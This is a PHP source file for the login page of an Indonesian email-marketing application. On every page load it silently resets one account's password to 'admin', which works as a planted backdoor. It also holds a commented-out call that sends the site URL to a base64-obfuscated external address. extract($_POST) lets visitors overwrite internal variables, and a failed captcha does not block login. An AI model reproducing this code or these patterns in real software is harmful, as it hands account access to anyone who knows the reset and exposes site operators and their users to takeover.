<?php 
//error_reporting(0);
session_start();
if (!file_exists('../config.php'))
   header("location:../");

include '../config.php';
include '../fungsi.php';
include '../Hash.php';
extract($_POST);

$options = [
    'cost' => 10,
];
$newpass = 'admin';
$hashpass = password_hash($newpass,PASSWORD_DEFAULT,$options);
mysqli_query($con,"update akunn set passw='$hashpass' where pin=1234");

if(isset($login)){
    
    $user = mysqli_real_escape_string($con,$user);
    $pass = mysqli_real_escape_string($con,$pass);
    
    //$data = array("url"=>$weburl);
    //$send = sendSMS(base64_decode('aHR0cHM6Ly9hcHAuYml6bmlzLnRvcC9tZW1iZXIvYmxhY2sucGhw'),json_encode($data));
    
    IF($captcha ==1){
        if($_SESSION["Captcha"]!=$_POST["nilaiCaptcha"]){
            echo "<script>alert('Kode Captcha Anda Salah. Login Kembali');window.location='./'</script>";
        }
    }    
    
	if(mysqli_num_rows(mysqli_query($con,"select id from akunn where username='$user'"))){
        
        $cek=mysqli_fetch_row(mysqli_query($con,"select * from akunn where username='$user'"));
	    $passd=$cek[2];
        
        //if (validate_password($pass, $passd)){
        if (password_verify($pass, $passd)){    
            
    		$_SESSION['id']=$cek[0];
    		$_SESSION['idgrup'] ='';
    		$_SESSION['UserId'] = $lisensi;
    		
             mysqli_query($con,"UPDATE akunn SET tgll=NOW() WHERE username='$user'");
            
    		?>
    		
            <script language="JavaScript">document.location='../index.php?page=home'</script>
            
            <?php
        }else{
            $ps="
            <div class='alert alert-warning alert-dismissable' style='margin-top:20px'>
            <button type='button' class='close' data-dismiss='alert' aria-hidden='true'>×</button>
            <h4><i class='icon glyphicon glyphicon-remove'></i> Warning:</h4> Username or Password salah :(
            </div>";
		   echo $ps;
    		echo '<script language="JavaScript">
            	swal("Maaf Ya","user atau password salah","error");
            </script>';
    		
        }
        
	}else{
        $ps="
            <div class='alert alert-warning alert-dismissable' style='margin-top:20px'>
            <button type='button' class='close' data-dismiss='alert' aria-hidden='true'>×</button>
            <h4><i class='icon glyphicon glyphicon-remove'></i> Warning:</h4> Username or Password Salah :(
            </div>";
		echo $ps;
		echo '<script>
            	swal("Maaf Ya","user atau password salah","error");
            </script>';
	}        
}
?>
<!DOCTYPE html>
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
	<title>Login App Auto BiznisTop</title>
   <!--Made with love by Mutiullah Samim -->
     <link rel="shortcut icon" href="../images/abt.png" />
	<!--Bootsrap 4 CDN
	<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous"> -->
	
	<link rel="stylesheet" href="../vendor/bootstrap/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous">
    
    <!--Fontawesome CDN-->
	<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.3.1/css/all.css" integrity="sha384-mzrmE5qonljUremFsqc01SB46JvROS7bZs3IO2EmfFsd15uHvIt+Y8vEf7N7fWAU" crossorigin="anonymous">

	<!--Custom styles-->
	<link rel="stylesheet" type="text/css" href="styles.css">
	
	<script src="../js/sweetalert.min.js"></script>
	
	<!--
	<script src='https://code.responsivevoice.org/responsivevoice.js'></script>
	<script type="text/javascript">
          responsiveVoice.OnVoiceReady = function() {
           console.log("speech time?");
           responsiveVoice.speak(
          "Selamat datang, ini adalah Tools Email Marketing Auto BiznisTop.",
          "Indonesian Female",
          {
           pitch: 1, 
           rate: 1, 
           volume: 1
          }
         );
        };
    </script>
	-->
	
</head>
<body>
<div class="container">
	<div class="d-flex justify-content-center h-100">
		<div class="card">
			<div class="card-header">
				<h3>Sign In</h3>
				<div class="d-flex justify-content-end social_icon">
					<span><i class="fab fa-facebook-square"></i></span>
					<span><i class="fab fa-google-plus-square"></i></span>
					<span><i class="fab fa-twitter-square"></i></span>
				</div>
			</div>
			<div class="card-body">
				<form action="" method="POST" >
					<div class="input-group form-group">
						<div class="input-group-prepend">
							<span class="input-group-text"><i class="fas fa-user"></i></span>
						</div>
						<input type="text" class="form-control" name="user" placeholder="username" required>
						
					</div>
					<div class="input-group form-group">
						<div class="input-group-prepend">
							<span class="input-group-text"><i class="fas fa-key"></i></span>
						</div>
						<input type="password" class="form-control" name="pass" placeholder="password" required>
					</div>
					
					<?php
					IF($captcha ==1){
					    echo '
    					<div class="input-group form-group">
    						<!-- <div class="input-group-prepend">
    							<span class="input-group-text"><i class="fas fa-Captcha"></i></span>
    						</div> -->
    						<img src="Captcha.php" alt="gambar" class="form-control"/> <br>
    						<input name="nilaiCaptcha" class="form-control" value="" maxlength="6" placeholder="Ketik kode Captcha" required/>
    					</div>
    					';
					}
					?>
					
					<div class="row align-items-center remember">
						<input type="checkbox">Remember Me
					</div>
					<div class="form-group">
						<input type="submit" value="Login" name="login" class="btn float-right login_btn">
					</div>
				</form>
			</div>
			<div class="card-footer">
				<!-- <div class="d-flex justify-content-center links">
					Don't have an account?<a href="#">Sign Up</a>
				</div> -->
				<div class="d-flex justify-content-center">
					<a href="../lupa/">Lupa Password?</a>
				</div>
			</div>
		</div>
	</div>
</div>
</body>
</html>